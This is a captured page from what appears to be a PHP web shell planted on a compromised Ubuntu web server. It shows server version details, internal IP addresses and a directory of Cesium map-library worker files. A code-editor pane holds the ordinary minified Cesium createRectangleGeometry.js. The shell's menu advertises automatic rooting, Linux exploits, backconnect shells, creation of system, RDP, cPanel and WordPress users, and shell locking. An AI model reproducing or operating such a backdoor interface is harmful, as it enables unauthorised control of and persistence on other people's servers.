Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
orco /
cesium_assets /
Workers /
[ HOME SHELL ]
Name
Size
Permission
Action
chunk-2TLJ26OO.js
1.25
KB
-rw-r--r--
chunk-3FEM743H.js
11.14
KB
-rw-r--r--
chunk-42NIXFVW.js
932
B
-rw-r--r--
chunk-4C7K4BFS.js
2.57
KB
-rw-r--r--
chunk-4FSMRIBR.js
1.61
KB
-rw-r--r--
chunk-4IWHN7T4.js
2.7
KB
-rw-r--r--
chunk-5DM27XHE.js
57.12
KB
-rw-r--r--
chunk-5YVCOCPP.js
2.87
KB
-rw-r--r--
chunk-65DFAZKW.js
4.78
KB
-rw-r--r--
chunk-77ESX6BV.js
3.89
KB
-rw-r--r--
chunk-7JCIFY66.js
30.95
KB
-rw-r--r--
chunk-7KKODWB2.js
2.11
KB
-rw-r--r--
chunk-7RBDS4IP.js
2.03
KB
-rw-r--r--
chunk-ACE4ZHPK.js
9.83
KB
-rw-r--r--
chunk-CIEXTRKV.js
1.38
KB
-rw-r--r--
chunk-CMXCDAKR.js
147.57
KB
-rw-r--r--
chunk-CRFMECNE.js
1.33
KB
-rw-r--r--
chunk-DUVNED7U.js
2.23
KB
-rw-r--r--
chunk-DVG6ROYF.js
7.02
KB
-rw-r--r--
chunk-ED2EM7ZX.js
5.92
KB
-rw-r--r--
chunk-EQCQ5LRI.js
916
B
-rw-r--r--
chunk-FATK2EQ2.js
4.09
KB
-rw-r--r--
chunk-FPY4GPIL.js
3.22
KB
-rw-r--r--
chunk-IRDBGNMC.js
1.21
KB
-rw-r--r--
chunk-JE5KQ6H6.js
5.87
KB
-rw-r--r--
chunk-JFG572S7.js
8.74
KB
-rw-r--r--
chunk-JFTXHZ2O.js
3.1
KB
-rw-r--r--
chunk-JZYZ7RT4.js
13.92
KB
-rw-r--r--
chunk-K62YE2WO.js
10.47
KB
-rw-r--r--
chunk-L5JEMK3W.js
16.43
KB
-rw-r--r--
chunk-LJCGAQ64.js
40.19
KB
-rw-r--r--
chunk-LKPDAB55.js
13.07
KB
-rw-r--r--
chunk-MPVEZNKB.js
1.05
KB
-rw-r--r--
chunk-OSVMDAN4.js
7.38
KB
-rw-r--r--
chunk-PT2EMSIG.js
14.88
KB
-rw-r--r--
chunk-Q7FDDGQE.js
11.68
KB
-rw-r--r--
chunk-QBLZNHRV.js
14.25
KB
-rw-r--r--
chunk-REUYHR24.js
2.84
KB
-rw-r--r--
chunk-RQXB4B4V.js
2.38
KB
-rw-r--r--
chunk-TK3AFTVI.js
4.68
KB
-rw-r--r--
chunk-TLL4Q2KI.js
3.65
KB
-rw-r--r--
chunk-TRGIYWHT.js
5.56
KB
-rw-r--r--
chunk-U73D6PDD.js
1.73
KB
-rw-r--r--
chunk-VHVBHB4H.js
20.35
KB
-rw-r--r--
chunk-VVVZBARZ.js
5.49
KB
-rw-r--r--
chunk-W6AEJFXB.js
7.1
KB
-rw-r--r--
chunk-WIE5YNSS.js
5.46
KB
-rw-r--r--
chunk-WLRVP2UA.js
909
B
-rw-r--r--
chunk-X5DMAS4Q.js
7.96
KB
-rw-r--r--
chunk-XXATY55N.js
10.64
KB
-rw-r--r--
chunk-Y5ISG54S.js
3.25
KB
-rw-r--r--
chunk-YZP3DYN3.js
1.71
KB
-rw-r--r--
combineGeometry.js
1.58
KB
-rw-r--r--
createBoxGeometry.js
1.36
KB
-rw-r--r--
createBoxOutlineGeometry.js
3.85
KB
-rw-r--r--
createCircleGeometry.js
3.62
KB
-rw-r--r--
createCircleOutlineGeometry.js
2.74
KB
-rw-r--r--
createCoplanarPolygonGeometry....
6.7
KB
-rw-r--r--
createCoplanarPolygonOutlineGe...
3.45
KB
-rw-r--r--
createCorridorGeometry.js
14.92
KB
-rw-r--r--
createCorridorOutlineGeometry....
7.33
KB
-rw-r--r--
createCylinderGeometry.js
1.41
KB
-rw-r--r--
createCylinderOutlineGeometry....
3.77
KB
-rw-r--r--
createEllipseGeometry.js
1.66
KB
-rw-r--r--
createEllipseOutlineGeometry.j...
1.46
KB
-rw-r--r--
createEllipsoidGeometry.js
1.38
KB
-rw-r--r--
createEllipsoidOutlineGeometry...
1.36
KB
-rw-r--r--
createFrustumGeometry.js
1.36
KB
-rw-r--r--
createFrustumOutlineGeometry.j...
3.49
KB
-rw-r--r--
createGeometry.js
5.73
KB
-rw-r--r--
createGroundPolylineGeometry.j...
16.32
KB
-rw-r--r--
createPlaneGeometry.js
3.1
KB
-rw-r--r--
createPlaneOutlineGeometry.js
2.03
KB
-rw-r--r--
createPolygonGeometry.js
18.23
KB
-rw-r--r--
createPolygonOutlineGeometry.j...
7.54
KB
-rw-r--r--
createPolylineGeometry.js
6.69
KB
-rw-r--r--
createPolylineVolumeGeometry.j...
5.47
KB
-rw-r--r--
createPolylineVolumeOutlineGeo...
4.17
KB
-rw-r--r--
createRectangleGeometry.js
14.64
KB
-rw-r--r--
createRectangleOutlineGeometry...
6.04
KB
-rw-r--r--
createSimplePolylineGeometry.j...
5.71
KB
-rw-r--r--
createSphereGeometry.js
2.23
KB
-rw-r--r--
createSphereOutlineGeometry.js
2.17
KB
-rw-r--r--
createTaskProcessorWorker.js
932
B
-rw-r--r--
createVectorTileClampedPolylin...
5.87
KB
-rw-r--r--
createVectorTileGeometries.js
5.58
KB
-rw-r--r--
createVectorTilePoints.js
1.88
KB
-rw-r--r--
createVectorTilePolygons.js
5.23
KB
-rw-r--r--
createVectorTilePolylines.js
3.5
KB
-rw-r--r--
createVerticesFromGoogleEarthE...
7.63
KB
-rw-r--r--
createVerticesFromHeightmap.js
27.56
KB
-rw-r--r--
createVerticesFromQuantizedTer...
8.57
KB
-rw-r--r--
createWallGeometry.js
6.31
KB
-rw-r--r--
createWallOutlineGeometry.js
4.71
KB
-rw-r--r--
decodeDraco.js
4.95
KB
-rw-r--r--
decodeGoogleEarthEnterprisePac...
26.59
KB
-rw-r--r--
decodeI3S.js
16.77
KB
-rw-r--r--
transcodeKTX2.js
57.89
KB
-rw-r--r--
transferTypedArrayTest.js
979
B
-rw-r--r--
upsampleQuantizedTerrainMesh.j...
9.41
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : createRectangleGeometry.js
/** * @license * Cesium - https://github.com/CesiumGS/cesium * Version 1.118.1 * * Copyright 2011-2022 Cesium Contributors * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * Columbus View (Pat. Pend.) * * Portions licensed separately. * See https://github.com/CesiumGS/cesium/blob/main/LICENSE.md for full licensing details. */ import{a as J}from"./chunk-FPY4GPIL.js";import{a as Nt}from"./chunk-CRFMECNE.js";import{a as zt}from"./chunk-7JCIFY66.js";import"./chunk-ED2EM7ZX.js";import"./chunk-YZP3DYN3.js";import{a as ut}from"./chunk-WLRVP2UA.js";import{a as X}from"./chunk-DUVNED7U.js";import{b as Rt}from"./chunk-LKPDAB55.js";import"./chunk-OSVMDAN4.js";import"./chunk-PT2EMSIG.js";import"./chunk-REUYHR24.js";import{a as yt}from"./chunk-RQXB4B4V.js";import{a as Vt}from"./chunk-MPVEZNKB.js";import{b as Mt,c as Pt,d as q}from"./chunk-FATK2EQ2.js";import{d as st}from"./chunk-3FEM743H.js";import{f as Lt,h as S,i as At}from"./chunk-CMXCDAKR.js";import{a as Y}from"./chunk-77ESX6BV.js";import{a as _,b as wt,c as G,d as H,e as ft}from"./chunk-LJCGAQ64.js";import{a as W}from"./chunk-JFG572S7.js";import"./chunk-JZYZ7RT4.js";import"./chunk-IRDBGNMC.js";import{a as L}from"./chunk-42NIXFVW.js";import{a as Et,b as lt}from"./chunk-5YVCOCPP.js";import{e as $}from"./chunk-U73D6PDD.js";var Tt=new _,Bt=new _,Ut=new _,Yt=new _,qt=new S,Zt=new G,Kt=new st,$t=new st;function Xt(t,e){let n=new Pt({attributes:new Vt,primitiveType:Mt.TRIANGLES});return n.attributes.position=new q({componentDatatype:Y.DOUBLE,componentsPerAttribute:3,values:e.positions}),t.normal&&(n.attributes.normal=new q({componentDatatype:Y.FLOAT,componentsPerAttribute:3,values:e.normals})),t.tangent&&(n.attributes.tangent=new q({componentDatatype:Y.FLOAT,componentsPerAttribute:3,values:e.tangents})),t.bitangent&&(n.attributes.bitangent=new q({componentDatatype:Y.FLOAT,componentsPerAttribute:3,values:e.bitangents})),n}function Gt(t,e,n,r){let a=t.length,c=e.normal?new Float32Array(a):void 0,l=e.tangent?new Float32Array(a):void 0,u=e.bitangent?new Float32Array(a):void 0,p=0,d=Yt,o=Ut,i=Bt;if(e.normal||e.tangent||e.bitangent)for(let f=0;f<a;f+=3){let s=_.fromArray(t,f,Tt),h=p+1,g=p+2;i=n.geodeticSurfaceNormal(s,i),(e.tangent||e.bitangent)&&(_.cross(_.UNIT_Z,i,o),ft.multiplyByVector(r,o,o),_.normalize(o,o),e.bitangent&&_.normalize(_.cross(i,o,d),d)),e.normal&&(c[p]=i.x,c[h]=i.y,c[g]=i.z),e.tangent&&(l[p]=o.x,l[h]=o.y,l[g]=o.z),e.bitangent&&(u[p]=d.x,u[h]=d.y,u[g]=d.z),p+=3}return Xt(e,{positions:t,normals:c,tangents:l,bitangents:u})}var Ct=new _,jt=new _;function te(t,e,n){let r=t.length,a=e.normal?new Float32Array(r):void 0,c=e.tangent?new Float32Array(r):void 0,l=e.bitangent?new Float32Array(r):void 0,u=0,p=0,d=0,o=!0,i=Yt,f=Ut,s=Bt;if(e.normal||e.tangent||e.bitangent)for(let h=0;h<r;h+=6){let g=_.fromArray(t,h,Tt),A=_.fromArray(t,(h+6)%r,Ct);if(o){let b=_.fromArray(t,(h+3)%r,jt);_.subtract(A,g,A),_.subtract(b,g,b),s=_.normalize(_.cross(b,A,s),s),o=!1}_.equalsEpsilon(A,g,W.EPSILON10)&&(o=!0),(e.tangent||e.bitangent)&&(i=n.geodeticSurfaceNormal(g,i),e.tangent&&(f=_.normalize(_.cross(i,s,f),f))),e.normal&&(a[u++]=s.x,a[u++]=s.y,a[u++]=s.z,a[u++]=s.x,a[u++]=s.y,a[u++]=s.z),e.tangent&&(c[p++]=f.x,c[p++]=f.y,c[p++]=f.z,c[p++]=f.x,c[p++]=f.y,c[p++]=f.z),e.bitangent&&(l[d++]=i.x,l[d++]=i.y,l[d++]=i.z,l[d++]=i.x,l[d++]=i.y,l[d++]=i.z)}return Xt(e,{positions:t,normals:a,tangents:c,bitangents:l})}function It(t,e){let n=t._vertexFormat,r=t._ellipsoid,a=e.height,c=e.width,l=e.northCap,u=e.southCap,p=0,d=a,o=a,i=0;l&&(p=1,o-=1,i+=1),u&&(d-=1,o-=1,i+=1),i+=c*o;let f=n.position?new Float64Array(i*3):void 0,s=n.st?new Float32Array(i*2):void 0,h=0,g=0,A=Tt,b=Zt,z=Number.MAX_VALUE,F=Number.MAX_VALUE,j=-Number.MAX_VALUE,T=-Number.MAX_VALUE;for(let x=p;x<d;++x)for(let k=0;k<c;++k)J.computePosition(e,r,n.st,x,k,A,b),f[h++]=A.x,f[h++]=A.y,f[h++]=A.z,n.st&&(s[g++]=b.x,s[g++]=b.y,z=Math.min(z,b.x),F=Math.min(F,b.y),j=Math.max(j,b.x),T=Math.max(T,b.y));if(l&&(J.computePosition(e,r,n.st,0,0,A,b),f[h++]=A.x,f[h++]=A.y,f[h++]=A.z,n.st&&(s[g++]=b.x,s[g++]=b.y,z=b.x,F=b.y,j=b.x,T=b.y)),u&&(J.computePosition(e,r,n.st,a-1,0,A,b),f[h++]=A.x,f[h++]=A.y,f[h]=A.z,n.st&&(s[g++]=b.x,s[g]=b.y,z=Math.min(z,b.x),F=Math.min(F,b.y),j=Math.max(j,b.x),T=Math.max(T,b.y))),n.st&&(z<0||F<0||j>1||T>1))for(let x=0;x<s.length;x+=2)s[x]=(s[x]-z)/(j-z),s[x+1]=(s[x+1]-F)/(T-F);let m=Gt(f,n,r,e.tangentRotationMatrix),K=6*(c-1)*(o-1);l&&(K+=3*(c-1)),u&&(K+=3*(c-1));let P=yt.createTypedArray(i,K),D=0,N=0,O;for(O=0;O<o-1;++O){for(let x=0;x<c-1;++x){let k=D,M=k+c,I=M+1,rt=k+1;P[N++]=k,P[N++]=M,P[N++]=rt,P[N++]=rt,P[N++]=M,P[N++]=I,++D}++D}if(l||u){let x=i-1,k=i-1;l&&u&&(x=i-2);let M,I;if(D=0,l)for(O=0;O<c-1;O++)M=D,I=M+1,P[N++]=x,P[N++]=M,P[N++]=I,++D;if(u)for(D=(o-1)*c,O=0;O<c-1;O++)M=D,I=M+1,P[N++]=M,P[N++]=k,P[N++]=I,++D}return m.indices=P,n.st&&(m.attributes.st=new q({componentDatatype:Y.FLOAT,componentsPerAttribute:2,values:s})),m}function ht(t,e,n,r,a){return t[e++]=r[n],t[e++]=r[n+1],t[e++]=r[n+2],t[e++]=a[n],t[e++]=a[n+1],t[e]=a[n+2],t}function pt(t,e,n,r){return t[e++]=r[n],t[e++]=r[n+1],t[e++]=r[n],t[e]=r[n+1],t}var Dt=new X;function ee(t,e){let n=t._shadowVolume,r=t._offsetAttribute,a=t._vertexFormat,c=t._extrudedHeight,l=t._surfaceHeight,u=t._ellipsoid,p=e.height,d=e.width,o;if(n){let R=X.clone(a,Dt);R.normal=!0,t._vertexFormat=R}let i=It(t,e);n&&(t._vertexFormat=a);let f=Rt.scaleToGeodeticHeight(i.attributes.position.values,l,u,!1);f=new Float64Array(f);let s=f.length,h=s*2,g=new Float64Array(h);g.set(f);let A=Rt.scaleToGeodeticHeight(i.attributes.position.values,c,u);g.set(A,s),i.attributes.position.values=g;let b=a.normal?new Float32Array(h):void 0,z=a.tangent?new Float32Array(h):void 0,F=a.bitangent?new Float32Array(h):void 0,j=a.st?new Float32Array(h/3*2):void 0,T,m;if(a.normal){for(m=i.attributes.normal.values,b.set(m),o=0;o<s;o++)m[o]=-m[o];b.set(m,s),i.attributes.normal.values=b}if(n){m=i.attributes.normal.values,a.normal||(i.attributes.normal=void 0);let R=new Float32Array(h);for(o=0;o<s;o++)m[o]=-m[o];R.set(m,s),i.attributes.extrudeDirection=new q({componentDatatype:Y.FLOAT,componentsPerAttribute:3,values:R})}let K,P=$(r);if(P){let R=s/3*2,at=new Uint8Array(R);r===ut.TOP?at=at.fill(1,0,R/2):(K=r===ut.NONE?0:1,at=at.fill(K)),i.attributes.applyOffset=new q({componentDatatype:Y.UNSIGNED_BYTE,componentsPerAttribute:1,values:at})}if(a.tangent){let R=i.attributes.tangent.values;for(z.set(R),o=0;o<s;o++)R[o]=-R[o];z.set(R,s),i.attributes.tangent.values=z}if(a.bitangent){let R=i.attributes.bitangent.values;F.set(R),F.set(R,s),i.attributes.bitangent.values=F}a.st&&(T=i.attributes.st.values,j.set(T),j.set(T,s/3*2),i.attributes.st.values=j);let D=i.indices,N=D.length,O=s/3,x=yt.createTypedArray(h/3,N*2);for(x.set(D),o=0;o<N;o+=3)x[o+N]=D[o+2]+O,x[o+1+N]=D[o+1]+O,x[o+2+N]=D[o]+O;i.indices=x;let k=e.northCap,M=e.southCap,I=p,rt=2,dt=0,xt=4,St=4;k&&(rt-=1,I-=1,dt+=1,xt-=2,St-=1),M&&(rt-=1,I-=1,dt+=1,xt-=2,St-=1),dt+=rt*d+2*I-xt;let gt=(dt+St)*2,C=new Float64Array(gt*3),E=n?new Float32Array(gt*3):void 0,Z=P?new Uint8Array(gt):void 0,V=a.st?new Float32Array(gt*2):void 0,et=r===ut.TOP;P&&!et&&(K=r===ut.ALL?1:0,Z=Z.fill(K));let v=0,B=0,y=0,U=0,nt=d*I,w;for(o=0;o<nt;o+=d)w=o*3,C=ht(C,v,w,f,A),v+=6,a.st&&(V=pt(V,B,o*2,T),B+=4),n&&(y+=3,E[y++]=m[w],E[y++]=m[w+1],E[y++]=m[w+2]),et&&(Z[U++]=1,U+=1);if(M){let R=k?nt+1:nt;for(w=R*3,o=0;o<2;o++)C=ht(C,v,w,f,A),v+=6,a.st&&(V=pt(V,B,R*2,T),B+=4),n&&(y+=3,E[y++]=m[w],E[y++]=m[w+1],E[y++]=m[w+2]),et&&(Z[U++]=1,U+=1)}else for(o=nt-d;o<nt;o++)w=o*3,C=ht(C,v,w,f,A),v+=6,a.st&&(V=pt(V,B,o*2,T),B+=4),n&&(y+=3,E[y++]=m[w],E[y++]=m[w+1],E[y++]=m[w+2]),et&&(Z[U++]=1,U+=1);for(o=nt-1;o>0;o-=d)w=o*3,C=ht(C,v,w,f,A),v+=6,a.st&&(V=pt(V,B,o*2,T),B+=4),n&&(y+=3,E[y++]=m[w],E[y++]=m[w+1],E[y++]=m[w+2]),et&&(Z[U++]=1,U+=1);if(k){let R=nt;for(w=R*3,o=0;o<2;o++)C=ht(C,v,w,f,A),v+=6,a.st&&(V=pt(V,B,R*2,T),B+=4),n&&(y+=3,E[y++]=m[w],E[y++]=m[w+1],E[y++]=m[w+2]),et&&(Z[U++]=1,U+=1)}else for(o=d-1;o>=0;o--)w=o*3,C=ht(C,v,w,f,A),v+=6,a.st&&(V=pt(V,B,o*2,T),B+=4),n&&(y+=3,E[y++]=m[w],E[y++]=m[w+1],E[y++]=m[w+2]),et&&(Z[U++]=1,U+=1);let ot=te(C,a,u);a.st&&(ot.attributes.st=new q({componentDatatype:Y.FLOAT,componentsPerAttribute:2,values:V})),n&&(ot.attributes.extrudeDirection=new q({componentDatatype:Y.FLOAT,componentsPerAttribute:3,values:E})),P&&(ot.attributes.applyOffset=new q({componentDatatype:Y.UNSIGNED_BYTE,componentsPerAttribute:1,values:Z}));let it=yt.createTypedArray(gt,dt*6),mt,_t,kt,bt;s=C.length/3;let ct=0;for(o=0;o<s-1;o+=2){mt=o,bt=(mt+2)%s;let R=_.fromArray(C,mt*3,Ct),at=_.fromArray(C,bt*3,jt);_.equalsEpsilon(R,at,W.EPSILON10)||(_t=(mt+1)%s,kt=(_t+2)%s,it[ct++]=mt,it[ct++]=_t,it[ct++]=bt,it[ct++]=bt,it[ct++]=_t,it[ct++]=kt)}return ot.indices=it,ot=zt.combineInstances([new Nt({geometry:i}),new Nt({geometry:ot})]),ot[0]}var ne=[new _,new _,new _,new _],Wt=new wt,oe=new wt;function Ht(t,e,n,r,a){if(n===0)return S.clone(t,a);let c=J.computeOptions(t,e,n,0,qt,Wt),l=c.height,u=c.width,p=ne;return J.computePosition(c,r,!1,0,0,p[0]),J.computePosition(c,r,!1,0,u-1,p[1]),J.computePosition(c,r,!1,l-1,0,p[2]),J.computePosition(c,r,!1,l-1,u-1,p[3]),S.fromCartesianArray(p,r,a)}function Q(t){t=L(t,L.EMPTY_OBJECT);let e=t.rectangle;if(lt.typeOf.object("rectangle",e),S.validate(e),e.north<e.south)throw new Et("options.rectangle.north must be greater than or equal to options.rectangle.south");let n=L(t.height,0),r=L(t.extrudedHeight,n);this._rectangle=S.clone(e),this._granularity=L(t.granularity,W.RADIANS_PER_DEGREE),this._ellipsoid=H.clone(L(t.ellipsoid,H.WGS84)),this._surfaceHeight=Math.max(n,r),this._rotation=L(t.rotation,0),this._stRotation=L(t.stRotation,0),this._vertexFormat=X.clone(L(t.vertexFormat,X.DEFAULT)),this._extrudedHeight=Math.min(n,r),this._shadowVolume=L(t.shadowVolume,!1),this._workerName="createRectangleGeometry",this._offsetAttribute=t.offsetAttribute,this._rotatedRectangle=void 0,this._textureCoordinateRotationPoints=void 0}Q.packedLength=S.packedLength+H.packedLength+X.packedLength+7;Q.pack=function(t,e,n){return lt.typeOf.object("value",t),lt.defined("array",e),n=L(n,0),S.pack(t._rectangle,e,n),n+=S.packedLength,H.pack(t._ellipsoid,e,n),n+=H.packedLength,X.pack(t._vertexFormat,e,n),n+=X.packedLength,e[n++]=t._granularity,e[n++]=t._surfaceHeight,e[n++]=t._rotation,e[n++]=t._stRotation,e[n++]=t._extrudedHeight,e[n++]=t._shadowVolume?1:0,e[n]=L(t._offsetAttribute,-1),e};var Jt=new S,Qt=H.clone(H.UNIT_SPHERE),tt={rectangle:Jt,ellipsoid:Qt,vertexFormat:Dt,granularity:void 0,height:void 0,rotation:void 0,stRotation:void 0,extrudedHeight:void 0,shadowVolume:void 0,offsetAttribute:void 0};Q.unpack=function(t,e,n){lt.defined("array",t),e=L(e,0);let r=S.unpack(t,e,Jt);e+=S.packedLength;let a=H.unpack(t,e,Qt);e+=H.packedLength;let c=X.unpack(t,e,Dt);e+=X.packedLength;let l=t[e++],u=t[e++],p=t[e++],d=t[e++],o=t[e++],i=t[e++]===1,f=t[e];return $(n)?(n._rectangle=S.clone(r,n._rectangle),n._ellipsoid=H.clone(a,n._ellipsoid),n._vertexFormat=X.clone(c,n._vertexFormat),n._granularity=l,n._surfaceHeight=u,n._rotation=p,n._stRotation=d,n._extrudedHeight=o,n._shadowVolume=i,n._offsetAttribute=f===-1?void 0:f,n):(tt.granularity=l,tt.height=u,tt.rotation=p,tt.stRotation=d,tt.extrudedHeight=o,tt.shadowVolume=i,tt.offsetAttribute=f===-1?void 0:f,new Q(tt))};Q.computeRectangle=function(t,e){t=L(t,L.EMPTY_OBJECT);let n=t.rectangle;if(lt.typeOf.object("rectangle",n),S.validate(n),n.north<n.south)throw new Et("options.rectangle.north must be greater than or equal to options.rectangle.south");let r=L(t.granularity,W.RADIANS_PER_DEGREE),a=L(t.ellipsoid,H.WGS84),c=L(t.rotation,0);return Ht(n,r,c,a,e)};var ie=new ft,Ft=new Lt,ae=new wt;Q.createGeometry=function(t){if(W.equalsEpsilon(t._rectangle.north,t._rectangle.south,W.EPSILON10)||W.equalsEpsilon(t._rectangle.east,t._rectangle.west,W.EPSILON10))return;let e=t._rectangle,n=t._ellipsoid,r=t._rotation,a=t._stRotation,c=t._vertexFormat,l=J.computeOptions(e,t._granularity,r,a,qt,Wt,oe),u=ie;if(a!==0||r!==0){let s=S.center(e,ae),h=n.geodeticSurfaceNormalCartographic(s,Ct);Lt.fromAxisAngle(h,-a,Ft),ft.fromQuaternion(Ft,u)}else ft.clone(ft.IDENTITY,u);let p=t._surfaceHeight,d=t._extrudedHeight,o=!W.equalsEpsilon(p,d,0,W.EPSILON2);l.lonScalar=1/t._rectangle.width,l.latScalar=1/t._rectangle.height,l.tangentRotationMatrix=u;let i,f;if(e=t._rectangle,o){i=ee(t,l);let s=st.fromRectangle3D(e,n,p,$t),h=st.fromRectangle3D(e,n,d,Kt);f=st.union(s,h)}else{if(i=It(t,l),i.attributes.position.values=Rt.scaleToGeodeticHeight(i.attributes.position.values,p,n,!1),$(t._offsetAttribute)){let s=i.attributes.position.values.length,h=t._offsetAttribute===ut.NONE?0:1,g=new Uint8Array(s/3).fill(h);i.attributes.applyOffset=new q({componentDatatype:Y.UNSIGNED_BYTE,componentsPerAttribute:1,values:g})}f=st.fromRectangle3D(e,n,p)}return c.position||delete i.attributes.position,new Pt({attributes:i.attributes,indices:i.indices,primitiveType:i.primitiveType,boundingSphere:f,offsetAttribute:t._offsetAttribute})};Q.createShadowVolume=function(t,e,n){let r=t._granularity,a=t._ellipsoid,c=e(r,a),l=n(r,a);return new Q({rectangle:t._rectangle,rotation:t._rotation,ellipsoid:a,stRotation:t._stRotation,granularity:r,extrudedHeight:l,height:c,vertexFormat:X.POSITION_ONLY,shadowVolume:!0})};var vt=new S,se=[new G,new G,new G],re=new At,ce=new wt;function le(t){if(t._stRotation===0)return[0,0,0,1,1,0];let e=S.clone(t._rectangle,vt),n=t._granularity,r=t._ellipsoid,a=t._rotation-t._stRotation,c=Ht(e,n,a,r,vt),l=se;l[0].x=c.west,l[0].y=c.south,l[1].x=c.west,l[1].y=c.north,l[2].x=c.east,l[2].y=c.south;let u=t.rectangle,p=At.fromRotation(t._stRotation,re),d=S.center(u,ce);for(let h=0;h<3;++h){let g=l[h];g.x-=d.longitude,g.y-=d.latitude,At.multiplyByVector(p,g,g),g.x+=d.longitude,g.y+=d.latitude,g.x=(g.x-u.west)/u.width,g.y=(g.y-u.south)/u.height}let o=l[0],i=l[1],f=l[2],s=new Array(6);return G.pack(o,s),G.pack(i,s,2),G.pack(f,s,4),s}Object.defineProperties(Q.prototype,{rectangle:{get:function(){return $(this._rotatedRectangle)||(this._rotatedRectangle=Ht(this._rectangle,this._granularity,this._rotation,this._ellipsoid)),this._rotatedRectangle}},textureCoordinateRotationPoints:{get:function(){return $(this._textureCoordinateRotationPoints)||(this._textureCoordinateRotationPoints=le(this)),this._textureCoordinateRotationPoints}}});var Ot=Q;function fe(t,e){return $(e)&&(t=Ot.unpack(t,e)),t._ellipsoid=H.clone(t._ellipsoid),t._rectangle=S.clone(t._rectangle),Ot.createGeometry(t)}var Ye=fe;export{Ye as default};
Close